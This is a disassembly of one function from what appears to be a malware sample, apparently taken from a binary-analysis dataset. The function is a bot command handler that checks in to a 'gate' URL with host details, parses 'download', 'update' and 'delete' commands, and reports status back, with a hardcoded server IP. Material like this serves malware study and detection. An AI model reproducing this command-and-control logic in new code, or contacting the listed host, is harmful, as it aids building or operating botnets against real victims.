Function at 0x401c90
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1024
call fcn.004059e0
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov byte [ebp - 0x918], 0
push 0x1ff
push 0
lea eax, [ebp - 0x917]
push eax
call fcn.00404a20
add esp, 0xc
mov ecx, dword [0x40c91c]
push ecx
mov edx, dword [0x40c918]
push edx
mov eax, dword [0x40c910]
push eax
mov ecx, dword [0x40c914]
push ecx
push 0x409c0c
push str.http:___s_gate_connect_hwid_sos_sbits_sadmin_s
lea edx, [ebp - 0x918]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x1c
lea eax, [ebp - 0x918]
push eax
call fcn.00401020
add esp, 4
movzx ecx, al
test ecx, ecx
je 0x402246
mov edx, dword [0x40c904]
push edx
call fcn.00401c30
add esp, 4
cmp eax, 6
jne 0x402246
mov byte [ebp - 0x20c], 0
push 0x103
push 0
lea eax, [ebp - 0x20b]
push eax
call fcn.00404a20
add esp, 0xc
mov byte [ebp - 0x108], 0
push 0x103
push 0
lea ecx, [ebp - 0x107]
push ecx
call fcn.00404a20
add esp, 0xc
mov byte [ebp - 0x310], 0
push 0x103
push 0
lea edx, [ebp - 0x30f]
push edx
call fcn.00404a20
add esp, 0xc
mov byte [ebp - 0x414], 0
push 0x103
push 0
lea eax, [ebp - 0x413]
push eax
call fcn.00404a20
add esp, 0xc
mov byte [ebp - 0x1024], 0
push 0x103
push 0
lea ecx, [ebp - 0x1023]
push ecx
call fcn.00404a20
add esp, 0xc
mov byte [ebp - 0x518], 0
push 0x103
push 0
lea edx, [ebp - 0x517]
push edx
call fcn.00404a20
add esp, 0xc
mov dword [ebp - 0xf20], 0
mov eax, dword [0x40c904]
mov dword [ebp - 0xf1c], eax
mov ecx, dword [ebp - 0xf1c]
add ecx, 1
mov dword [ebp - 0xf1c], ecx
mov edx, dword [ebp - 0xf1c]
push edx
call fcn.00401be0
add esp, 4
mov dword [ebp - 0xf20], eax
mov eax, dword [ebp - 0xf20]
add eax, 1
push eax
mov ecx, dword [ebp - 0xf1c]
push ecx
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
push 0x7c
mov eax, dword [ebp - 0xf1c]
push eax
call fcn.00401000
add esp, 8
mov dword [ebp - 0xf1c], eax
mov ecx, dword [ebp - 0xf1c]
add ecx, 1
mov dword [ebp - 0xf1c], ecx
mov edx, dword [ebp - 0xf1c]
push edx
call fcn.00401be0
add esp, 4
mov dword [ebp - 0xf20], eax
mov eax, dword [ebp - 0xf20]
add eax, 1
push eax
mov ecx, dword [ebp - 0xf1c]
push ecx
lea edx, [ebp - 0x310]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
push 0x7c
mov eax, dword [ebp - 0xf1c]
push eax
call fcn.00401000
add esp, 8
mov dword [ebp - 0xf1c], eax
mov ecx, dword [ebp - 0xf1c]
add ecx, 1
mov dword [ebp - 0xf1c], ecx
mov edx, dword [ebp - 0xf1c]
push edx
call fcn.00401be0
add esp, 4
mov dword [ebp - 0xf20], eax
mov eax, dword [ebp - 0xf20]
add eax, 1
push eax
mov ecx, dword [ebp - 0xf1c]
push ecx
lea edx, [ebp - 0x414]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
push 0x7c
mov eax, dword [ebp - 0xf1c]
push eax
call fcn.00401000
add esp, 8
mov dword [ebp - 0xf1c], eax
mov ecx, dword [ebp - 0xf1c]
add ecx, 1
mov dword [ebp - 0xf1c], ecx
mov edx, dword [ebp - 0xf1c]
push edx
call fcn.00401be0
add esp, 4
mov dword [ebp - 0xf20], eax
mov eax, dword [ebp - 0xf20]
add eax, 1
push eax
mov ecx, dword [ebp - 0xf1c]
push ecx
lea edx, [ebp - 0x518]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
push 0x7c
mov eax, dword [ebp - 0xf1c]
push eax
call fcn.00401000
add esp, 8
mov dword [ebp - 0xf1c], eax
mov ecx, dword [ebp - 0xf1c]
add ecx, 1
mov dword [ebp - 0xf1c], ecx
mov edx, dword [ebp - 0xf1c]
push edx
call fcn.00401be0
add esp, 4
mov dword [ebp - 0xf20], eax
mov eax, dword [ebp - 0xf20]
add eax, 1
push eax
mov ecx, dword [ebp - 0xf1c]
push ecx
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
push 0x7c
mov eax, dword [ebp - 0xf1c]
push eax
call fcn.00401000
add esp, 8
mov dword [ebp - 0xf1c], eax
mov ecx, dword [ebp - 0xf1c]
add ecx, 1
mov dword [ebp - 0xf1c], ecx
lea edx, [ebp - 0x414]
mov dword [0x40c928], edx
lea eax, [ebp - 0x414]
mov dword [0x40c90c], eax
push str.download
lea ecx, [ebp - 0x20c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x4020a1
mov byte [ebp - 0x718], 0
push 0x1ff
push 0
lea edx, [ebp - 0x717]
push edx
call fcn.00404a20
add esp, 0xc
lea eax, [ebp - 0x310]
push eax
call fcn.00401020
add esp, 4
movzx ecx, al
test ecx, ecx
je 0x402061
cmp dword [0x40c924], 0
jbe 0x402061
call fcn.004011a0
movzx edx, al
test edx, edx
je 0x402061
push 0x409c60
mov eax, dword [0x40c914]
push eax
lea ecx, [ebp - 0x108]
push ecx
push 0x409c64
push 0x409c74
lea edx, [ebp - 0x718]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
jmp 0x40208d
push 0x409cb0
mov eax, dword [0x40c914]
push eax
lea ecx, [ebp - 0x108]
push ecx
push 0x409cb4
push str.http:___s_gate_download_exec_command_shwid_sstatus_s
lea edx, [ebp - 0x718]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
lea eax, [ebp - 0x718]
push eax
call fcn.00401020
add esp, 4
jmp 0x402246
push str.update
lea ecx, [ebp - 0x20c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x4021d2
lea edx, [ebp - 0x310]
push edx
call fcn.00401020
add esp, 4
movzx eax, al
test eax, eax
je 0x40215a
cmp dword [0x40c924], 0
jbe 0x40215a
mov ecx, dword [0x40c92c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.004011a0
mov byte [ebp - 0xb18], 0
push 0x1ff
push 0
lea edx, [ebp - 0xb17]
push edx
call fcn.00404a20
add esp, 0xc
push 0x409d08
mov eax, dword [0x40c914]
push eax
lea ecx, [ebp - 0x108]
push ecx
push 0x409d0c
push 0x409d1c
lea edx, [ebp - 0xb18]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
lea eax, [ebp - 0xb18]
push eax
call fcn.00401020
add esp, 4
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp dword [0x40c92c], 0
jne 0x402177
push 0x409d54
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [0x40c92c], eax
mov byte [ebp - 0xf18], 0
push 0x1ff
push 0
lea ecx, [ebp - 0xf17]
push ecx
call fcn.00404a20
add esp, 0xc
push 0x409d64
mov edx, dword [0x40c914]
push edx
lea eax, [ebp - 0x108]
push eax
push 0x409d68
push str.http:___s_gate_update_exec_command_shwid_sstatus_s
lea ecx, [ebp - 0xf18]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
lea edx, [ebp - 0xf18]
push edx
call fcn.00401020
add esp, 4
jmp 0x402246
push str.delete
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x402246
mov byte [ebp - 0xd18], 0
push 0x1ff
push 0
lea ecx, [ebp - 0xd17]
push ecx
call fcn.00404a20
add esp, 0xc
push 0x409db8
mov edx, dword [0x40c914]
push edx
lea eax, [ebp - 0x108]
push eax
push str.81.19.141.173
push str.http:___s_gate_delete_exec_command_shwid_sstatus_s
lea ecx, [ebp - 0xd18]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
lea edx, [ebp - 0xd18]
push edx
call fcn.00401020
add esp, 4
call fcn.00401aa0
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402644
mov esp, ebp
pop ebp
ret